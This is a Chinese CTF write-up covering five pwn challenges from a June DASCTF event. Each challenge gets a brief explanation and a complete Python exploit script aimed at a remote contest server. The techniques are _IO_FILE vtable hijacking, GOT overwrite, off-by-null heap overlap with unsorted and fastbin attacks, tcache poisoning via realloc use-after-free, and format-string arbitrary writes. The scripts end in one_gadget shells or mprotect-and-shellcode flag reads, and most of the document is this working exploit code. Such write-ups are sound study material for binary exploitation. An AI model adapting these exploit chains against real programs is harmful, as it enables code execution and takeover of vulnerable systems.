DASCTF6月赛部分writeup

DASCTF6月赛pwn的writeup

secret

给了个printf的地址,关闭了stdout,可以改写任意地址上的指针低两字节,再通过这个指针写0x18字节

upload successful

然后还关闭了stderr,stdin

很容易就想到拿_IO_FILE开刀,但是对这个也不是很熟悉,于是卡了很久

就先看看远程的libc是什么版本,根据printf的地址,查到多个,最后确定了是libc2.29

libc2.29貌似不能修改vtable的内容,而且对vtable指针有要求(具体要求不太清楚),但是vtable指针附近偏差不大的地方都没什么问题,而且可写

那么就修改__IO_2_1_stderr的vtable指针的低两字节(只要和原来的位置偏差不大,而且可写就行,需要爆破),然后往新的指针指向的地址写3个qword,第三个刚好就是io_finish的位置,填上one_gadget即可

getshell后记得exec 1>&2恢复输出

exp:

#coding=utf8
'''
脚本使用的库为welpwn(github可搜)
'''

from PwnContext import *
      
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\x00'))
uu64    = lambda data   :u64(data.ljust(8, '\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './secret'
ctx.remote = ('183.129.189.60', 10030)
ctx.remote_libc = './libc.so' # libc-2.29
ctx.debug_remote_libc  = True

#rs()
rs('remote')

ru('secret:')
printf = int(ru('\n', drop=True), 16)
leak('printf', printf)

lbase = printf - ctx.libc.sym['printf']
leak('lbase', lbase)

_IO_2_1_stderr_ = lbase + ctx.libc.sym['_IO_2_1_stderr_']
vtable = _IO_2_1_stderr_ + 0xd8

leak('_IO_2_1_stderr_', _IO_2_1_stderr_)
leak('vtable', vtable)


one1 = lbase + 0xe237f
one2 = lbase + 0xe2383
one3 = lbase + 0xe2386
one4 = lbase + 0x106ef8

#dbg()
#dbg('b *%s' % hex(one3))
#raw_input()
s(p64(vtable))
s('\xf0\x70') # 修改vtable地址低两字节 
s(p64(0)  + p64(0) + p64(one3))


irt()

Memory_Monster_IV

根据Dockerfile得知环境使用ubuntu19,libc是2.30

漏洞是负数溢出改got表

write和一个one_gadget非常相近,只差两个字节

但每次只能写一个字节,要保证写了一个字节后,程序不会异常,可以调整one_gadget的低字节往前看看,是否有使得write的最低字节修改后有ret指令之类的

leak的话就利用给的execve,libc地址随机化最低的12位是固定为0的,利用这点,程序的随机数异或没啥用

整个过程中,stdout莫名其妙的被关闭了(可能和write有关),getshell后执行exec 1>&2恢复输出

exp:

#coding=utf8

from PwnContext import *
from time import sleep
      
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\x00'))
uu64    = lambda data   :u64(data.ljust(8, '\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './Memory_Monster_IV'
ctx.remote = ('183.129.189.60', 10033)
ctx.custom_lib_dir = './lib'
ctx.debug_remote_libc = True

while True:
    try:
        #rs()
        rs('remote')
        # print(ctx.libc.path)

        def write_byte(idx, byte):
            sl(str(idx))
            sl(hex(byte))


        execve_addr = u64(ru('in', drop=True)[-8:]) 
        execve_addr = execve_addr & (~0xfff)
        execve_addr = execve_addr | (ctx.libc.sym['execve'] & 0xfff)
        leak('execve', execve_addr)

        lbase = execve_addr - ctx.libc.sym['execve']
        one = lbase + 0x10afa4  # one_gadget=0x10afa9
        write = lbase + ctx.libc.sym['write']
        leak('lbase', lbase)
        leak('one', one)
        leak('write', write)


        arr_addr = 0x5DE0
        write_got = 0x4018
        write_byte(write_got-arr_addr, one & 0xff)
        write_byte(write_got-arr_addr+1, (one >> 8) & 0xff)

        
        sleep(0.5)
        sl('exec 1>&2')
        sleep(0.5)
        sl('ls flag')
        ru('flag')
        
        irt()
        break
    except KeyboardInterrupt:
        break
    except:
        continue

easyheap

add处有个off-by-null
upload successful

大体思路是:

  1. off-by-null达到chunk overlap,之后leak出libc和heap的地址
  2. 同样操作,获得一个指向被free进unsorted bin里的指针,修改这个unsorted bin chunk的bk域,unsorted bin attack 到__free_hook-16的位置
  3. 之后就可以fastbin attack修改__free_hook成setcontext+53
  4. 然后就是mprotect,shellcode,orw一把梭

open调用号被禁用了,用openat替代

测试发现远程环境是2.27,add功能使用的是calloc,不会从tcache分配,要先把tcache填满

exp:

#coding=utf8

from PwnContext import *
      
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'info'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\x00'))
uu64    = lambda data   :u64(data.ljust(8, '\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './pwn'
ctx.remote = ('183.129.189.60', 10027)
ctx.remote_libc = 'libc.so.6' # libc-2.27
ctx.debug_remote_libc = True

def add(size, content, idx):
    sla('Choice: ', '1')
    sla('index>> ', str(idx))
    sla('size>> ', str(size))
    sa('name>> ', content)
    

def dele(idx):
    sla('Choice: ', '2')
    sla('index>> ', str(idx))
    

def show(idx):
    sla('Choice: ', '3')
    sla('index>> ', str(idx))
    

def edit(idx, content):
    sla('Choice: ', '4')
    sla('index>> ', str(idx))
    sa('name>> ', content)


#rs()
rs('remote')

# 填满tchache
for i in range(8):
    add(0xf8, 'a', i)

for i in range(8):
    dele(i)

for i in range(7):
    add(0x68, 'a', i)
add(0xf8, 'a', 7)
for i in range(8):
    dele(i)

for i in range(8):
    add(0x160, 'a', i)

for i in range(8):
    dele(i)

# leak
# off-by-null覆盖chunk4的pre_inuse
add(0xf8, 'a', 0)
add(0x68, 'a', 1)
add(0x68, 'a', 2)
add(0xf8, 'a', 3)
add(0x68, 'a', 4)
add(0xf8, 'a', 5) # top

#dele(1)
dele(2)
dele(0)

pay = 'a' * 0x60
pay += p64(0x1e0) # pre_size
add(0x68, pay, 2)

# 根据pre_size=0x2e0会向前合并到#0
dele(3)

# chunk0+chunk1,切割后在unsorted bin里的刚好由#2控制,可以leak 
add(0xf8+0x70, 'a' * 0xf8 + p64(0x71), 0) 

show(2)
main_arena = u64(r(8))
leak('main_arena', main_arena)
lbase = main_arena - (0x7ffff7dcfca0 - 0x7ffff79e4000)
__free_hook = lbase + ctx.libc.sym['__free_hook']
mprotect = lbase + ctx.libc.sym['mprotect']
setcontext = lbase + ctx.libc.sym['setcontext']

leak('lbase', lbase)
leak('__free_hook', __free_hook)
leak('mprotect', mprotect)
leak('setcontext', setcontext)

# 将#1,#4放入fastbin使得#1里由#4的地址,再通过#0来泄露heap地址
dele(4)
dele(1)

show(0)
r(0x100)
heap_addr = u64(r(8))
leak('heap_addr', heap_addr)

dele(0)

# unlink
fake_chunk_addr = heap_addr-0x2d0
fake_chunk = ''
fake_chunk += p64(0) + p64(0x1d1)
fake_chunk += p64(fake_chunk_addr+0x8) + p64(fake_chunk_addr+0x10)
fake_chunk += p64(fake_chunk_addr)
fake_chunk += 'a' * (0x1d0- len(fake_chunk))
fake_chunk += p64(0x1d0) # pre_size


add(0x1d8, fake_chunk, 0)

#dbg('b free')
#
add(0xf8, 'a', 6)
dele(6)

# unsorted bin attack to __free_hook-16
# #0和#6错位了
fake_chunk = p64(0) + p64(0x101)
fake_chunk += p64(main_arena) + p64(__free_hook-16-16)
edit(0, fake_chunk)

add(0xf0, 'a', 7)

# fastbin attack
pay = ''
pay += 'a' * 0xf0
pay += p64(0) + p64(0x71)
pay += p64(__free_hook-16-3)

edit(0, pay)

add(0x60, 'a', 8)

# modify free_hook
context.arch = "amd64"
sc2_addr = __free_hook & 0xfffffffffffff000
sc1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000

mov eax, 0; //SYS_read
syscall

jmp rsi
''' % sc2_addr


pay = 'aaa'
pay += p64(setcontext+53) + p64(__free_hook + 0x10) + asm(sc1)

add(0x60, pay, 9)

frame = SigreturnFrame()
frame.rsp = __free_hook + 8 # ret
frame.rip = mprotect
frame.rdi = sc2_addr
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
edit(0, str(frame))


#dbg('b *%s' % hex(setcontext+53))
#raw_input()
dele(0)

flag_str = '/flag\x00\x00\x00'
sc2 = '''
mov rax, %s
push rax
mov rdi, 0
mov rsi, rsp
xor rdx, rdx
mov rax, 257; //openat
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 1024
mov rax, 0; //read
syscall

mov rdi, 1;
mov rsi, rsp
mov rdx, rax
mov rax, 1; //write
syscall

mov rdi, 0
mov rax, 60
syscall; //exit
''' % hex(u64(flag_str))

s(asm(sc2))


irt()

oooorder

edit功能使用realloc,realloc(ptr, 0)相当于free(ptr)

而add功能可以使得size=0

那么就可以uaf了,leak地址后修改tcache_entry为__free_hook
然后又是setcontext,mprotect,orw

题目还关闭了fastbin的使用

upload successful

exp:

#coding=utf8

from PwnContext import *
      
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'info'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\x00'))
uu64    = lambda data   :u64(data.ljust(8, '\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './oooorder'
ctx.remote = ('183.129.189.60', 10028)
ctx.remote_libc = 'libc-2.27.so'
ctx.debug_remote_libc = True

def add(size, content):
    sla('Your choice :', '1')
    sla('How much is the order?', str(size))
    if size != 0:
        sa('Order notes:', content)


def edit(idx, content):
    sla('Your choice :', '2')
    sla('Index of order:', str(idx))
    if content != '':
        sa('Order notes:', content)


def show():
    sla('Your choice :', '3')


def dele(idx):
    sla('Your choice :', '4')
    sla('Index of order:', str(idx))



#rs()
rs('remote')

# leak heap
add(0x10, 'aa') # 0
add(0, '') # 1 size=0
edit(1, '') # chunk1被free掉


add(0x10, 'aa') # 2 chunk1就是chunk2的node节点


show()

ru('[1]:')
heap = uu64(r(6)) - 0x2e0
leak('heap', heap)

dele(1)
dele(0)


add(0x10, p64(0) * 2) # 0 这块刚好是chunk2的node节点
add(0x10, 'a') # 1

# leak libc
# 填满tcache
for i in range(9):
    add(0x50, 'a') # 3~11

# 留一个隔离top
for i in range(8):
    dele(3+i)


add(0x30, 'a' * 8) # 3  sizeof(node)=0x10  0x10+0x30+0x10*2=0x50+0x10


show()
ru('[3]:')
ru('a' * 8)
main_arena = uu64(r(6))
__malloc_hook = main_arena - 0x70
lbase = __malloc_hook - ctx.libc.sym['__malloc_hook']
__free_hook = lbase + ctx.libc.sym['__free_hook']
setcontext = lbase + ctx.libc.sym['setcontext']
mprotect = lbase + ctx.libc.sym['mprotect']

leak('main_arena', main_arena)
leak('lbase', lbase)

# 修改了node2的内容
edit(0,p64(heap+0x10)+p64(0x240)) # heap+0x10
buf= '\x00'*4 + '\x01' + '\x00'*0x5b + p64(__free_hook)  # 大小为0x60的tcache的数量置为1, 并指向__free_hook
edit(2, buf)


# 修改__free_hook为setcontext+53
add(0x50, p64(setcontext+53)) # 4

sc = '''
lea rdi,[rsp+0x3f]
mov rsi,0
mov rax,2
syscall; //open
mov rdi,rax
lea rsi,[rsp-0x100]
mov rdx,0x100
xor rax,rax
syscall; //read
mov rdi,1
mov rdx,rax
mov rax,1
syscall; //write
'''


buf = 'a'*0x68
buf += p64(heap) #rdi
buf += p64(0x1000) #rsi
buf = buf.ljust(0x88,b'a')
buf += p64(7)  #rdx
buf = buf.ljust(0xa0,b'a')
buf += p64(heap+0x8b0) #rsp
buf += p64(mprotect) #ret
buf += p64(lbase+0x0000000000002b1d) # jmp rsp
buf += asm(sc)
buf += './flag\x00'

add(0x200, buf) #5


#dbg('b *%s' % hex(setcontext+53))
#raw_input()
dele(5)


irt()

springboard

格式化字符串,在堆上

格式化字符串先leak出libc和栈的地址

利用栈上的类似a->b,a在栈上,b也在栈上,这种栈上存了栈的指针,来任意地址写
如下图:

upload successful

先把循环变量改为负数,突破循环次数

0x7fffffffdda8的位置是13$,0x7fffffffde78的位置是39$

通过"%{}c%13$hn"0x7fffffffde78上存的0x7fffffffe1fc改成0x7fffffffe1ff,也就是循环变量的最高字节处

然后通过"%{}c%39$hhn",修改循环变量的最高字节,只要使得最高位是1,就能成为负数

同样的操作,将0x7fffffffe1ff改成0x7fffffffddd8(19$)
upload successful

这样就形成了13$->39$->19$的链

同过"%{}c%13$hhn"控制39$指向19$的偏移0-7,通过"%{}c%39$hhn"改写19$偏移0-7的内容
也就是可以在19$上布置任意地址,再通过"%{}c%19$hhn"就可以任意地址写了

改写main函数返回地址为one_gadget即可,

最后把循环变量改回整数,使得循环退出,main函数返回触发one_gadget

exp:

#coding=utf8

from PwnContext import *
      
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'info'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\x00'))
uu64    = lambda data   :u64(data.ljust(8, '\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './springboard'
ctx.remote = ('183.129.189.60', 10029)
ctx.remote_libc = 'libc.so.6' # libc-2.27
ctx.debug_remote_libc = True

rs()
#rs('remote')

def send(s):
    sa('input your name:', s)

# leak libc stack
send('%11$p\n%13$p\n\x00')
ru('name:\n')
__libc_start_main  = int(ru('\n', drop=True), 16) - 231
lbase = __libc_start_main - ctx.libc.sym['__libc_start_main']

leak('__libc_start_main', __libc_start_main)
leak('lbase', lbase)

stack = int(ru('\n', drop=True), 16)
leak('stack', stack)

# 修改i变量为负数
ref_i = stack - 0x7fffffffedf8 + 0x7fffffffecfc
off = (ref_i + 3) & 0xffff
if off != 0:
    send('%{}c%13$hn\n\x00'.format(off))
else:
    send('%13$hhn\n\x00')
send('%{}c%39$hhn\n\x00'.format(0xff))


# 形成13$->39$->19$一条链先
target_addr = stack - 0x7fffffffedf8 + 0x7fffffffed58
off = target_addr & 0xffff
if off != 0:
    send('%{}c%13$hn\n\x00'.format(off))
else:
    send('%13$hn\n\x00')

def set_addr(addr):
    for i in range(8):
        byte = (addr >> i * 8) & 0xff
        off = (target_addr + i) & 0xff
        if off != 0:
            send('%{}c%13$hhn\n\x00'.format(off))
        else:
            send('%13$hhn\n\x00')


        if byte != 0:
            send('%{}c%39$hhn\n\x00'.format(byte))
        else:
            send('%39$hhn\n\x00')

def write_byte(byte):
    if byte != 0:
        send('%{}c%19$hhn\n\x00'.format(byte))
    else:
        send('%19$hhn\n\x00')


ref_ret = stack - 0x7fffffffedf8 +  0x7fffffffed18
set_addr(ref_ret)


one1 = lbase + 0x4f2c5
one2 = lbase + 0x4f322
one3 = lbase + 0x10a38c

for i in range(6):
    byte = (one1 >> 8 * i) & 0xff
    set_addr(ref_ret+i)
    write_byte(byte)



#dbg('b *%s\nc' % hex(one1))
# 改回正数,使得循环退出
set_addr(ref_i+3)
write_byte(0)

#dbg('b *0x55555555495b')


irt()